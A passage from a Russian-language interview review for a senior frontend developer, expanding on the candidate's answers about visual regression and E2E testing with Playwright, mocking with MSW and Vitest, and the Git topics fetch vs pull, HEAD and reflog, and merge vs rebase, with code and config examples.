  3. Review UI — при изменении визуала PR блокируется, дизайнер/разработчик подтверждает изменения (Accept/Reject).

Настройка Playwright для VRT (без Storybook):

// visual-regression.spec.ts
import { test, expect } from '@playwright/test';

test('Button visual states', async ({ page }) => {
await page.goto('http://localhost:6006/iframe.html?id=button--primary'); // Storybook URL

// Отключаем анимации для стабильности
await page.addStyleTag({ content: '* { transition: none !important; animation: none !important; }' });

const button = page.locator('button');
await expect(button).toHaveScreenshot('button-primary.png', {
maxDiffPixels: 100, // Порог шума
threshold: 0.2
});

// Ховер
await button.hover();
await expect(button).toHaveScreenshot('button-primary-hover.png');
});

Senior Tips:

  • Запускайте только на Linux (Docker CI) — рендеринг шрифтов в Mac/Win/Linux отличается.
  • Используйте font-family: "System UI" или встраивайте шрифты как base64 в CSS для детерминизма.
  • Маскируйте динамические области (даты, таймеры, аватары) через locator.mask().

5. E2E тесты: Playwright — де-факто стандарт (2024)

Кандидат сказал "Selenium/Cypress". Playwright сейчас лидирует за счет:

  • Auto-waiting (нет cy.wait / await page.waitForTimeout).
  • Multi-browser (Chromium, Firefox, WebKit) из коробки.
  • Parallelism + Sharding (запуск на нескольких машинах).
  • Trace Viewer (видео, DOM снепшоты, network log, console — "Time Travel Debugging").
  • Codegen (запись тестов через UI).
  • API Testing (request.post(...)) — можно тестировать бэкенд в тех же тестах.

Паттерн Page Object Model (POM) — обязателен для поддержки:

// pages/LoginPage.ts
import { Page, Locator, expect } from '@playwright/test';

export class LoginPage {
readonly emailInput: Locator;
readonly passwordInput: Locator;
readonly submitButton: Locator;
readonly errorMessage: Locator;

constructor(readonly page: Page) {
this.emailInput = page.getByLabel('Email');
this.passwordInput = page.getByLabel('Password');
this.submitButton = page.getByRole('button', { name: 'Sign in' });
this.errorMessage = page.getByTestId('error-toast');
}

async goto() { await this.page.goto('/login'); }

async login(email: string, password: string) {
await this.emailInput.fill(email);
await this.passwordInput.fill(password);
await this.submitButton.click();
}

async expectError(message: string) {
await expect(this.errorMessage).toContainText(message);
}
}

// tests/auth.spec.ts
import { test, expect } from '@playwright/test';
import { LoginPage } from '../pages/LoginPage';

test.describe('Authentication', () => {
let loginPage: LoginPage;

test.beforeEach(async ({ page }) => {
loginPage = new LoginPage(page);
await loginPage.goto();
});

test('successful login redirects to dashboard', async ({ page }) => {
await loginPage.login('user@example.com', 'password123');
await expect(page).toHaveURL(/.*dashboard/);
await expect(page.getByText('Welcome')).toBeVisible();
});

test('shows error on invalid credentials', async () => {
await loginPage.login('wrong@test.com', 'wrong');
await loginPage.expectError('Invalid credentials');
});
});

CI Strategy для E2E (Flakiness Management):

  • Retries: retries: 2 в playwright.config.ts (только на CI).
  • Sharding: npx playwright test --shard=1/3 — распараллеливание по машинам.
  • Test Data Isolation: Каждый тест создает свои данные через API (test.beforeEach -> api.createUser()) и чистит (test.afterEach -> api.deleteUser()). Не зависьте от "сидовых" данных.
  • Auth State: Глобальный setup -> логин -> сохранение storageState.json -> использование в тестах (use: { storageState: 'auth.json' }). Логин через UI — только в одном setup-тесте.

6. Contract Testing (Pact) — для Микросервисов

Если фронтенд и бэкенд разрабатываются независимо (разные команды, разные репозитории):

  • Consumer-driven Contracts: Фронтенд (Consumer) пишет тесты на MSW/Pact, генерирует контракт (JSON).
  • Бэкенд (Provider) в своем CI прогоняет верификацию контракта.
  • Защищает от ломающих изменений API без необходимости поднимать полное окружение для E2E.

7. Mutation Testing — метрика качества тестов

Coverage (покрытие строк) != качество тестов. Stryker / Mutode вносят мутации (меняют > на <, true на false, удаляют строки) и запускают тесты.

  • Killed Mutant — тест упал (хорошо).
  • Survived Mutant — тест прошел (плохо, тест не проверяет логику).
  • Цель: Mutation Score > 80% для критических модулей (платежи, авторизация).

8. Организация процесса (Senior/Tech Lead View)

  1. Pre-commit (Husky + lint-staged): typescript, eslint, prettier, unit tests (changed files only -- vitest --related).
  2. CI Pipeline (PR):
    • Static Analysis (TS, Lint).
    • Unit + Integration (Vitest + MSW) — должны проходить < 3-5 мин.
    • Visual Regression (Chromatic/Playwright) — параллельно.
    • Build (Vite/Webpack/Rspack) — проверка продакшн-сборки.
  3. Nightly / On Merge (Main):
    • E2E (Playwright Full Suite) — на Staging/Preview окружении.
    • Mutation Testing (Stryker) — на критических пакетах (можно раз в неделю).
    • Bundle Analysis (bundle-buddy, webpack-bundle-analyzer).
  4. Test Data Management: Использование Testcontainers (Postgres, Redis, Kafka в Docker) для интеграционных тестов бэкенда, которые поднимает фронтенд-стенд (или мок через MSW).

Резюме: Кандидат знает классификацию. Senior должен:

  1. Практиковать Integration Testing (Vitest + MSW + Testing Library) как основной слой.
  2. Внедрять Visual Regression (Storybook + Chromatic/Playwright) для Design System.
  3. Писать E2E (Playwright + POM + Auth State) только для "Happy Paths" и денежных флоу.
  4. Настроить CI так, чтобы быстрые тесты давали фидбек за минуты, а тяжелые — не блокировали мёрдж каждый коммит (nightly/sharding).
  5. Использовать Mutation Testing для объективной оценки качества юнит-тестов.
  6. Владеть MSW как единым источником правды для моков API во всех типах тестов и Storybook.

Вопрос 29. Что такое моки и зачем нужны

Таймкод: 01:17:47

Ответ собеседника: Правильный. Замена бэкенда для изолированного тестирования фронта. Варианты: локальный бэкенд в Docker (лучший), моки по Swagger/OpenAPI (MSW, Nock, Mock Service Worker) — подмена ответов по URL. В реальности комбинируют.

Правильный ответ:

Кандидат верно определил цель (изоляция) и перечислил основные подходы (Docker, MSW, Nock). На уровне Senior/Tech Lead важно разделять уровни мокирования (юнит vs интеграция vs E2E), понимать классификацию тестовых двойников (Mock vs Stub vs Spy vs Fake), знать паттерны работы с MSW (контрактное тестирование) и стратегии управления тестовыми данными. Ниже — углубленный разбор.


1. Терминология: Test Doubles (Тестовые двойники) — не всё "Моки"

Согласно Gerard Meszaros (xUnit Patterns) и Martin Fowler (Mocks Aren't Stubs), есть 5 типов. В JS/TS экосистеме часто смешивают, но Senior должен отличать:

ТипНазначениеПример в JS/TSКогда использовать
DummyЗаполнитель аргумента, никогда не вызываетсяnull, undefined, {}Обязательный аргумент функции, который не используется в текущем сценарии.
StubКаннированные ответы на вызовы. Не проверяет как вызвали.vi.fn(() => Promise.resolve({ data: [] })), server.use(http.get(...))Интеграционные тесты: эмуляция API, БД, времени (vi.useFakeTimers). Главная цель — детерминизм.
SpyЗаписывает вызовы (аргументы, количество) + может делегировать к реальной имплементации.vi.spyOn(console, 'log'), vi.fn(realFn)Проверка side-effects (логирование, аналитика, вызовы методов store).
MockОжидания (Expectations). Запрограммирован на конкретные вызовы и падает, если их нет.expect(mockFn).toHaveBeenCalledWith(userId)Юнит-тесты: верификация контракта взаимодействия (Command Query Separation — проверяем Commands).
FakeРабочая реализация, но упрощенная/в памяти.InMemoryUserRepository, FakeWebSocketServerКогда реальная зависимость слишком тяжелая/медленная, но нужна семантика (транзакции, ивенты).

> Правило Senior: В юнит-тестах используем Stubs для Queries (получение данных) и Mocks/Spies для Commands (изменение состояния/сайд-эффектов). Не мокаем всё подряд — тестируем поведение, не имплементацию.


2. Уровни мокирования в Frontend (Стратегия "Test Pyramid / Trophy")

УровеньЧто мокаемИнструментПричина
Unit (Logic/Hooks)Зависимости модуля: api, store, utils, browser APIs (localStorage, matchMedia)Vitest/Jest (vi.mock, vi.fn, vi.spyOn)Скорость, полная изоляция, тестирование edge-cases (ошибки, таймауты).
Integration (Component + API)Сетевой слой (HTTP). Компонент рендерится реально, роутер реален, стор реален.MSW (Mock Service Worker)Ключевой паттерн. Перехватывает fetch/XMLHttpRequest на уровне Service Worker. Не ломает имплементацию компонента. Работает в Node (Vitest) и Браузере (Storybook, Playwright).
E2EНичего не мокаем (идеально). Или только 3rd Party (Платежки, Карты, Email).Playwright (page.route, APIRequestContext)Реальный бэкенд (Staging/Preview). Моки только за пределами контура системы (Payment Gateway).
Visual/StorybookHTTP, WebSockets, Browser APIsMSW (те же handlers, что и в Unit/Integration)Единый источник правды для "backend responses" во всех средах.

3. MSW (Mock Service Worker) — Индустриальный стандарт 2024

Кандидат упомянул MSW. Это единственный инструмент, который работает одинаково в Vitest (Node), Storybook (Browser), Playwright (Browser) и Dev-режиме.

Архитектура MSW:

  1. Handlers (http.get, http.post, graphql.query) — чистые функции, возвращают HttpResponse.
  2. SetupsetupServer (Node/Vitest) или setupWorker (Browser/Storybook/Playwright).
  3. Life-cycleserver.listen() (beforeAll), server.resetHandlers() (afterEach), server.close() (afterAll).

Продвинутые паттерны MSW:

А. Динамические ответы / Валидация тела запроса

// handlers.ts
import { http, HttpResponse, delay } from 'msw';

export const handlers = [
// Реалистичная задержка для тестирования Loading/Skeleton
http.post('/api/auth/login', async ({ request }) => {
await delay(300); // Эмуляция сети
const body = await request.json();
if (body.email === 'fail@test.com') {
return HttpResponse.json({ message: 'Invalid credentials' }, { status: 401 });
}
return HttpResponse.json({ token: 'fake-jwt-token', user: { id: 1, name: 'Admin' } });
}),

// Валидация Query Params / Headers
http.get('/api/users', ({ request }) => {
const url = new URL(request.url);
const page = Number(url.searchParams.get('page') || 1);
const limit = Number(url.searchParams.get('limit') || 10);
// Генерация пагинированных данных на лету
return HttpResponse.json({
data: Array.from({ length: limit }, (_, i) => ({ id: (page-1)*limit + i + 1 })),
total: 100,
});
}),
];

Б. Обработка ошибок сети (Network Level Errors)

// Тестируем UI при отключенном интернете / падении DNS
http.get('/api/critical-data', () => {
return HttpResponse.error(); // TypeError: Failed to fetch
});

// Тестируем таймауты
http.get('/api/slow', async () => {
await delay(10000); // Дольше таймаута клиента
return HttpResponse.json({});
});

В. Переопределение хендлеров в конкретном тесте (Scenario Testing)

// test.spec.ts
import { server } from './setup'; // MSW server instance
import { http, HttpResponse } from 'msw';

test('shows empty state when API returns 404', async () => {
// Временная переопределение ТОЛЬКО для этого теста
server.use(
http.get('/api/user/1', () => new HttpResponse(null, { status: 404 }))
);

render(<UserProfile id="1" />);
await screen.findByText(/not found/i);

// afterEach -> server.resetHandlers() вернет дефолтный хендлер
});

Г. Генерация моков из OpenAPI / Swagger (OpenAPI MSW / Orval)

# Генерация типов + MSW хендлеров + React Query хуков из openapi.yaml
npx orval --input ./openapi.yaml --output ./src/api
  • Дает Type-Safe моки: HttpResponse.json проверяет соответствие схеме.
  • Если бэкенд сломал контракт — падает TypeScript на этапе сборки фронтенда (или генерации).

4. Мокирование в Юнит-тестах (Vitest): Best Practices

А. vi.mock (Hoisted) — для модулей

// __mocks__/api/userApi.ts (или inline vi.mock)
import { vi } from 'vitest';

export const userApi = {
getUser: vi.fn(),
updateUser: vi.fn(),
};

// В тесте:
vi.mock('@/api/userApi', () => ({ userApi })); // Авто-хоистинг

test('calls api with correct params', async () => {
userApi.getUser.mockResolvedValue({ id: 1, name: 'John' });
render(<UserProfile id={1} />);
await screen.findByText('John');
expect(userApi.getUser).toHaveBeenCalledOnceWith(1); // Mock assertion
});

Б. vi.spyOn — для частичного мокирования / методов классов

class Analytics {
track(event: string) { /* real send */ }
}

test('tracks button click', () => {
const analytics = new Analytics();
const spy = vi.spyOn(analytics, 'track'); // Реальный метод не вызывается по дефолту

render(<Button onClick={() => analytics.track('click')} />);
fireEvent.click(screen.getByRole('button'));

expect(spy).toHaveBeenCalledWith('click');
spy.mockRestore(); // Важно: чистим после себя
});

В. Мокирование Browser APIs (localStorage, matchMedia, ResizeObserver)

// setupTests.ts (global)
Object.defineProperty(window, 'matchMedia', {
writable: true,
value: vi.fn().mockImplementation(query => ({
matches: false,
media: query,
onchange: null,
addListener: vi.fn(),
removeListener: vi.fn(),
})),
});

// localStorage mock (быстрый, в памяти)
const storage = new Map<string, string>();
vi.stubGlobal('localStorage', {
getItem: (k: string) => storage.get(k) || null,
setItem: (k: string, v: string) => storage.set(k, v),
removeItem: (k: string) => storage.delete(k),
clear: () => storage.clear(),
});

5. Антипаттерны и ошибки (Code Smells)

  1. Over-mocking (Мокирование деталей имплементации):
    • Плохо: vi.mock('./ChildComponent') → тест ломается при рефакторинге детей.
    • Хорошо: Рендерим реальный ChildComponent, мокаем только API/Store (граница системы).
  2. Мокирование того, чем не владеешь (Standard Library / Browser API) без необходимости:
    • Не мокайте fetch вручную (global.fetch = vi.fn...). Используйте MSW. Он обрабатывает CORS, редиректы, стриминг, AbortController корректно.
  3. Отсутствие resetMocks / clearMocks:
    • Всегда в vitest.config.ts: clearMocks: true, restoreMocks: true (или в beforeEach/afterEach). Утечка состояния между тестами — главная причина флаки.
  4. Тестирование моков вместо кода:
    • expect(mockFn).toHaveBeenCalled() — это тест мока. Тестируйте результат: expect(screen.getByText('Saved')).toBeVisible().
  5. Сложная логика внутри моков:
    • Мок должен быть глупым (Stub). Если в моке if/else — вы тестируете мок. Выносите логику в Fake или тестируйте на интеграционном уровне.

6. Стратегия "Local Backend in Docker" (Testcontainers)

Кандидат сказал "лучший вариант". Для Интеграционных тестов бэкенда и E2E — да.

  • Testcontainers (Node/Java/Go): Поднимает реальный Postgres, Redis, Kafka, LocalStack (AWS) в Docker на лету для каждого тестового запуска.
  • Frontend E2E: Playwright webServer может запускать docker-compose up для бэкенда перед тестами.
  • Плюсы: 100% парность с продакшеном (SQL диалекты, миграции, индексы).
  • Минусы: Медленно (секунды/минуты), требует Docker в CI, сложно параллелить (изоляция БД).

Гибридный подход (Best Practice):

  1. Unit/Integration (Frontend): MSW (мocks HTTP) — миллисекунды.
  2. Integration (Backend): Testcontainers (Real DB) — секунды.
  3. E2E: Real Backend (Staging/Preview Env) + MSW только для 3rd Party — минуты.

7. Contract Testing (Pact) — следующий уровень зрелости

Если команда фронтенда и бэкенда разные:

  1. Фронтенд пишет тесты на MSW/Vitest, генерируя Pact-файл (JSON) — контракт ожиданий.
  2. В CI фронтенда публикует контракт в Pact Broker.
  3. Бэкенд в своем CI скачивает контракт и верифицирует: "Отдаю ли я то, что ждет фронтенд?".
  4. Can-I-Deploy: Проверка перед деплоем: "Совместима ли моя версия с версией контракта?".

Это устраняет необходимость в тяжелых E2E для проверки совместимости API.


Резюме: Кандидат знает определение и инструменты. Senior отличает Stub (данные для чтения) от Mock (проверка команд), использует MSW как единый стандарт для всех уровней (Unit/Int/Storybook/E2E 3rd party), генерирует моки из OpenAPI для типобезопасности, избегает Over-mocking (тестирует поведение, не имплементацию) и знает про Contract Testing (Pact) для микросервисной архитектуры.

Вопрос 30. Разница между git fetch и git pull

Таймкод: 01:19:14

Ответ собеседника: Правильный. fetch — качает метаданные (ветки, коммиты), не меняет рабочую директорию. pull = fetch + merge (или rebase) — реально обновляет файлы.

Правильный ответ:

Кандидат верно описал базовую разницу. На уровне Senior/Tech Lead важно понимать внутреннюю механику (refs, HEAD, index), стратегии слияния (merge vs rebase vs fast-forward), безопасность workflow и настройку автоповедения. Ниже — углубленный разбор.


1. Фундаментальная разница: Что меняется в .git

Действиеgit fetchgit pull
СетьСкачивает объекты (commits, trees, blobs) и обновляет remote-tracking ветки (refs/remotes/origin/*).Делает fetch, затем интегрирует изменения в текущую локальную ветку (refs/heads/*).
Рабочая директорияНикогда не трогает (Working Tree чистый).Меняет файлы (Working Tree + Index), может вызвать конфликты.
HEADНе двигает.Двигает HEAD на новый коммит (merge commit или rebased history).
БезопасностьБезопасная операция (read-only для локального состояния).Деструктивная операция (меняет историю/состояние ветки).
ОтменаНе требуется (просто не смотрим).Сложнее: git reset --hard ORIG_HEAD (если merge), git rebase --abort / git reflog (если rebase).

Ключевой момент: fetch обновляет только origin/main (remote-tracking). Ваша локальная main остается на месте. Это позволяет сделать git diff main origin/main или git log main..origin/main до принятия решений.


2. git pull = fetch + (merge | rebase | ff-only)

Поведение pull определяется конфигом pull.rebase и pull.ff.

А. pull (default: pull.rebase=false, pull.ff=true)

git pull
# 1. fetch
# 2. git merge origin/branch
  • Создает Merge Commit (если истории расошлись).
  • Сохраняет точную историю параллельной разработки.
  • Минус: "Грязная" история с множеством "Merge branch 'main' of..." в feature-ветках.

Б. pull --rebase (pull.rebase=true)

git pull --rebase
# 1. fetch
# 2. git rebase origin/branch
  • Перекладывает ваши локальные коммиты поверх пришедших из remote.
  • История линейная, чистая, без лишних merge-коммитов.
  • Риск: Переписывает историю (меняет SHA ваших коммитов). Опасно, если коммиты уже запушены (force push). Для локальных фичей — стандарт де-факто.

В. pull --ff-only (pull.ff=only)

git pull --ff-only
# 1. fetch
# 2. git merge --ff-only origin/branch
  • Обновляет ветку только если можно сделать Fast-Forward (ваша ветка строго позади remote, локальных коммитов нет).
  • Если есть локальные коммиты — падает с ошибкой, не создавая merge и не делая rebase.
  • Best Practice для main/develop/release веток: Гарантирует, что вы случайно не создадите merge-коммит в защищенной ветке.

3. Рекомендуемая конфигурация (Global / Project .gitconfig)

[push]
default = current
autoSetupRemote = true # Авто --set-upstream при первом пуше

[pull]
rebase = true # pull = fetch + rebase (для feature веток)
ff = only # На protected ветках (main) лучше ff-only, но глобально rebase удобнее

[fetch]
prune = true # Авто-удаление origin/feature/xyz после удаления на сервере (Critical!)
# pruneTags = true # Опционально: чистить теги

[rebase]
autoStash = true # Авто-стойка незакоммиченных изменений при rebase/pull --rebase
updateRefs = true # Обновляет другие локальные ветки, если они указывают на rebased коммиты

> Совет: Для main/master лучше иметь алиас или функцию, которая делает ff-only, так как rebase на shared ветке плохая практика.


4. Workflow: Почему Senior делает fetch первым делом

Паттерн "Fetch -> Inspect -> Decide":

# 1. Синхронизация метаданных (безопасно, быстро)
git fetch --prune --all

# 2. Анализ (что пришло?)
git log --oneline --graph --all -20 # Визуальная картина
git log HEAD..origin/main --oneline # Только входящие коммиты
git diff HEAD origin/main --stat # Какие файлы менялись
git diff HEAD origin/main -- package.json # Проверить зависимости перед мержем

# 3. Принятие решения
# Вариант А: Чистый Fast-Forward (нет локальных коммитов)
git merge --ff-only origin/main # или git pull --ff-only

# Вариант Б: Есть локальные коммиты (feature ветка) -> Rebase
git rebase origin/main # Чистая история

# Вариант В: Нужно сохранить контекст мержа (редко для фич) -> Merge
git merge origin/main # Создает merge commit

Почему не pull сразу?

  1. Code Review себя: Вы видите что пришло перед тем, как это попадет в вашу историю.
  2. Конфликты зависимостей: package.json/yarn.lock обновились на сервере. pull сразу создаст конфликт в лок-файле. После fetch вы можете сделать git show origin/main:package.json и подготовиться.
  3. CI/CD пайплайны: Если на сервере провалился билд нового коммита, вы не хотите мержить его к себе. fetch дает выбор остаться на старом коммите.

5. git fetch --prune (или git fetch -p) — Гигиена репозитория

  • Проблема: Ветка feature/xyz удалена на GitHub/GitLab после мержа. Локально origin/feature/xyz остается вечно (мусор в git branch -r).
  • Решение: fetch --prune удаляет remote-tracking рефы, которых больше нет на сервере.
  • Best Practice: Включить fetch.prune = true глобально. Запускать git fetch -p перед началом работы.

6. Работа с тегами (Tags)

  • git fetch — качает теги, которые указывают на скачиваемые коммиты.
  • git fetch --tags — качает все теги принудительно.
  • git pullне обновляет теги по умолчанию (если тег переместили на другой коммит — pull не подтянет изменение).
  • Senior Tip: Версионирование через теги (v1.2.3) требует явного git fetch --tags или git fetch --prune --prune-tags в CI перед релизом.

7. Расширенные сценарии

А. git pull --autostash (Git 2.6+) Если есть незакоммиченные изменения (dirty working tree):

git pull --rebase --autostash
# 1. Stash локальные изменения
# 2. Pull --rebase
# 3. Stash Pop
  • Удобно для быстрого pull в грязной директории, но опасно — может скрыть конфликты стэша. Лучше: commit / stash вручную -> pull -> pop.

Б. git fetch --jobs=N (Параллельная загрузка)

git fetch --jobs=4 --all
  • Ускоряет fetch на больших монорепах с множеством remote/submodules.

В. Partial Clone / Sparse Checkout (Огромные репозитории)

git clone --filter=blob:none --sparse <url>
git sparse-checkout set frontend/packages/my-app
  • fetch качает только метаданные и нужные деревья (blobs качаются по требованию). pull работает так же.

8. CI/CD Specifics

  • Shallow Clone (depth=1): git fetch --depth=1 origin main. История обрезана. pull может не сработать (нет базы для merge/rebase). Нужен git fetch --unshallow или полный клон.
  • Merge Train / Merge Queues: Бот делает fetch -> создает временную ветку -> merge/rebase -> прогоняет тесты -> push. Понимание fetch vs pull критично для отладки пайплайнов.

Резюме: Кандидат знает синтаксис. Senior использует fetch --prune как атомарную операцию синхронизации, разделяет чтение (fetch) и запись (merge/rebase), настраивает pull.ff=only для защищенных веток и pull.rebase=true для фич, и никогда не делает pull "вслепую" без предварительного log/diff входящих изменений.

Вопрос 31. Что такое HEAD в Git

Таймкод: 01:19:44

Ответ собеседника: Правильный. Указатель на последний коммит текущей ветки (символическая ссылка).

Правильный ответ:

Кандидат дал верное определение. На уровне Senior/Tech Lead важно понимать внутреннее устройство (.git/HEAD, refs/heads), состояние Detached HEAD, разницу между HEAD, HEAD^, HEAD~, и как HEAD используется в reflog, reset, rebase, worktrees. Ниже — углубленный разбор.


1. Физическое устройство: Файл .git/HEAD

HEAD — это файл в корне репозитория (.git/HEAD), а не коммит и не ветка.

А. Attached HEAD (Нормальное состояние):

# .git/HEAD
ref: refs/heads/main
  • Это символическая ссылка (symbolic reference).
  • Указывает на ветку (refs/heads/main), а не на коммит напрямую.
  • Ветка (refs/heads/main) в свою очередь указывает на хеш коммита (например, a1b2c3d).
  • Цепочка: HEAD -> refs/heads/main -> a1b2c3d.

Б. Detached HEAD (Отсоединенное состояние):

# .git/HEAD
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
  • Файл содержит прямой SHA-1 хеш коммита.
  • Возникает при: git checkout <commit-hash>, git checkout tag, git checkout HEAD~3, git rebase (в процессе), git bisect.
  • Нет ветки, указывающей на этот коммит. Новые коммиты создаются "в пустоте" — на них нет ссылки, кроме HEAD и reflog.

2. HEAD vs Ветка (Branch) — Ключевое различие

СущностьЧто этоМутирует при коммите?Хранится в
HEADУказатель на текущую точку следования (где вы стоите сейчас).Да (всегда двигается на новый коммит)..git/HEAD (файл)
Ветка (Branch)Именованный указатель на конец линии разработки (где заканчивается линия).Только если HEAD указывает на эту ветку (Attached)..git/refs/heads/<name> (файл)

Аналогия:

  • Ветка — это закладка в книге на последней прочитанной странице главы.
  • HEAD — это ваш палец, указывающий на текущую строку, которую вы читаете прямо сейчас.
  • Обычно палец стоит на закладке (Attached). Можно убрать палец с закладки и почитать старую страницу (Detached) — закладка не сдвинется.

3. Нотация: HEAD, HEAD^, HEAD~, @

В Git-командах HEAD — это ревизия (revision), которую можно комбинировать с суффиксами.

СинтаксисОписаниеПример использования
HEAD / @Текущий коммит (коротко @ работает везде).git show @, git diff @~1..@
HEAD^ / HEAD^1Первый родитель (предыдущий коммит в линейной истории).git show HEAD^
HEAD^2Второй родитель (только для Merge Commit'ов — пришедшая ветка).git show HEAD^2 (посмотреть, что вмержили)
HEAD~ / HEAD~1Предок первого порядка (то же что ^, но рекурсивно).git reset --hard HEAD~3 (откатить 3 коммита назад)
HEAD~3Предок третьего порядка (родитель родителя родителя).git rebase -i HEAD~5
HEAD@{1}Reflog entry: где был HEAD 1 действие назад (до checkout/reset/rebase).git reset --hard HEAD@{1} (отменить неудачный rebase)
HEAD@{yesterday}Где был HEAD вчера (по reflog).git diff HEAD@{yesterday}

> Важно: ^ и ~ работают только назад по истории. > HEAD^2 существует только у Merge Commit'а (у обычного коммита один родитель).


4. Detached HEAD: Опасности и Правила выживания

Как попасть:

  • git checkout <hash>
  • git checkout v1.0.0 (тег)
  • git checkout main~5
  • git rebase -i (внутри процесса)
  • CI/CD: git checkout $CI_COMMIT_SHA (типичный кейс в GitLab CI / GitHub Actions).

Риски:

  1. Потеря коммитов: Сделали коммиты в Detached HEAD -> git checkout main. Коммиты невидимы для git log, нет ветки, на них нет ссылок. Их удалит Garbage Collector (git gc) через 30 дней (по умолчанию gc.reflogExpire).
  2. Невозможность пуша: git push origin HEAD не сработает (нет имени ветки). Нужен git push origin HEAD:<new-branch-name>.

Как спасти работу (Best Practice):

# 1. Создать ветку ТУТ ЖЕ (до переключения)
git switch -c feature/saved-work
# или классически:
git branch feature/saved-work
git checkout feature/saved-work

# 2. Если уже ушли на main — использовать Reflog (см. ниже)
git reflog
# Найдите строку: a1b2c3d HEAD@{2}: commit: "My lost work"
git branch recovery-branch a1b2c3d

5. Reflog (Reference Log) — "Машина времени" для HEAD

git reflog — это локальный журнал перемещений HEAD (и веток). Хранится в .git/logs/HEAD.

  • Не синхронизируется с сервером (чисто локально).
  • Записывает каждое движение HEAD: commit, checkout, reset, rebase, merge, pull, cherry-pick.
  • Формат: <hash> HEAD@{<index>}: <action>: <message>.

Спасение после git reset --hard / неудачного rebase / commit --amend:

git reflog
# a1b2c3d HEAD@{0}: reset: moving to HEAD~3 (ОШИБКА!)
# e5f6g7h HEAD@{1}: commit: "Important work" (НУЖНЫЙ КОММИТ)

git reset --hard HEAD@{1} # Вернуться к состоянию ДО reset
# или
git cherry-pick e5f6g7h # Достать конкретный коммит

Настройка хранения (Global Config):

git config --global gc.reflogExpire 90.days # Как долго хранить записи, достижимые из веток
git config --global gc.reflogExpireUnreachable 30.days # Недостижимые (detached commits)

6. HEAD в продвинутых сценариях

А. git worktree — Множественные HEAD'ы Один репозиторий — несколько рабочих директорий. У каждой свой HEAD.

git worktree add ../hotfix main
# Создает ../hotfix с .git файлом (не папкой), внутри: gitdir: /main/repo/.git/worktrees/hotfix
# У этого worktree свой HEAD (может быть на другом коммите/ветке).
  • Полезно: Параллельный хотфикс без стэша/коммита в основной ветке, запуск тестов на другом коммите.

Б. ORIG_HEAD, MERGE_HEAD, REBASE_HEAD — Служебные ссылки Создаются во время операций для отката/контекста:

  • ORIG_HEAD — где был HEAD перед опасной операцией (reset --hard, merge, rebase). git reset --hard ORIG_HEAD — быстрый откат.
  • MERGE_HEAD — коммит(ы), которые вливаются (git merge feature).
  • REBASE_HEAD — коммит, на который перебазируются (upstream).
  • CHERRY_PICK_HEAD — коммит, который пикается.

В. git reset — манипуляция HEAD (Three Modes)

КомандаДвигает HEAD?Меняет Index (Staging)?Меняет Working Tree?Use Case
reset --soft <commit>ДаНетНетПересобрать коммит (amend multiple), squash локально.
reset --mixed <commit> (default)ДаДа (сбрасывает к HEAD)Нет"Раскоммитить", оставить изменения в файлах.
reset --hard <commit>ДаДаДа (ОПАСНО: потери данных)Жесткий откат к чистому состоянию.

7. HEAD в CI/CD и скриптах (Automation)

Получение текущего SHA (детерминированно):

# Лучший способ (работает в detached HEAD):
git rev-parse HEAD

# Короткий хеш для тегов/артефактов:
git rev-parse --short=8 HEAD

# Имя ветки (если attached), иначе хеш:
git branch --show-current || git rev-parse --short HEAD

Проверка "чистоты" перед деплоем:

# Есть ли незакоммиченные изменения?
if ! git diff --quiet HEAD || ! git diff --cached --quiet HEAD; then
echo "Working tree dirty"; exit 1;
fi

# Соответствует ли HEAD тегу релиза?
if [ "$(git describe --exact-match --tags HEAD 2>/dev/null)" != "v$VERSION" ]; then
echo "HEAD not tagged as v$VERSION"; exit 1;
fi

Резюме: Кандидат знает определение. Senior воспринимает HEAD как управляемую точку входа в историю: умеет читать .git/HEAD для диагностики, свободно манипулирует HEAD~, HEAD^, HEAD@{n} для навигации и спасения коммитов через reflog, понимает механику worktree (независимые HEAD'ы) и использует ORIG_HEAD/MERGE_HEAD для отката сложных операций. Критически важно: никогда не уходить из Detached HEAD без создания ветки.

Вопрос 32. Отличие merge от rebase

Таймкод: 01:20:02

Ответ собеседника: Правильный. Merge — создаёт merge-коммит, сохраняет историю как есть. Rebase — перебазирует коммиты на верхушку целевой ветки, линейная история, без лишних коммитов. Опасен для общих веток.

Правильный ответ:

Кандидат верно описал суть: Merge = сохранение точной истории (DAG), Rebase = переписывание истории (линейность). На уровне Senior/Tech Lead критически важно понимать механику разрешения конфликтов, влияние на git bisect, стратегии код-ревью, опасность --force-with-lease и командные конвенции (GitFlow vs Trunk-Based vs GitHub Flow). Ниже — углубленный разбор.


1. Фундаментальная разница: Топология графа (DAG)

Характеристикаgit mergegit rebase
ОперацияСоздает новый коммит (Merge Commit) с двумя родителями.Переписывает существующие коммиты (новые SHA), меняет родителя на новый базовый.
ИсторияНелинейная (DAG). Видны параллельные линии разработки, точки синхронизации.Линейная. Все коммиты идут в одну цепочку, будто работа шла последовательно.
КонтекстСохраняет контекст ветки (когда, откуда, зачем ветвились).Уничтожает контекст ветки. Выглядит так, будто коммиты писались поверх main прямо сейчас.
БезопасностьБезопасен для push (добавляет историю, не меняет прошлое).Опасен для push (меняет прошлое). Требует --force-with-lease для обновления remote.
КонфликтыРазрешаются один раз в момент мержа (Merge Commit).Разрешаются по коммитам (каждый коммит накладывается отдельно).

Визуально:

MERGE (True History) REBASE (Linear History)
* Merge commit (M) * F' (new)
|\ * E' (new)
| * Feature C * D' (new)
| * Feature B * C' (new)
| * Feature A * B' (new)
|/ * A' (new)
* Main B * Main B
* Main A * Main A

2. Разрешение конфликтов: Ключевая операционная разница

Это главная причина выбирать одно или другое в ежедневной работе.

Merge: Один большой конфликт

git checkout main
git merge feature
# CONFLICT в 5 файлах.
# Вы видите ВСЕ конфликты сразу (ours vs theirs).
# Решаете -> git add . -> git commit (Merge Commit).
  • Плюс: Атомарность. Либо все влилось, либо ничего.
  • Минус: Сложно разобрать, какой именно коммит фичи сломал логику, если конфликтов много.

Rebase: Последовательные микро-конфликты

git checkout feature
git rebase main
# Конфликт в коммите A' (первый коммит фичи).
# Решаете -> git add -> git rebase --continue
# Конфликт в коммите C'...
# ...
  • Плюс: История чистая, каждый коммит проходит тесты (если прогонять их на каждом шаге rebase -x).
  • Минус: "Conflict Hell". Один и тот же конфликт (например, переименование файла) может возникнуть в 5 коммитах подряд. Нужно решать повторно.
  • Решение: git rerere (reuse recorded resolution) — обязательно включить глобально.

3. git rerere (Reuse Recorded Resolution) — Must Have для Rebase

Запоминает, как вы разрешили конфликт (пары "до/после"), и применяет автоматически при повторном возникновении.

# Включить глобально (раз в жизни)
git config --global rerere.enabled true
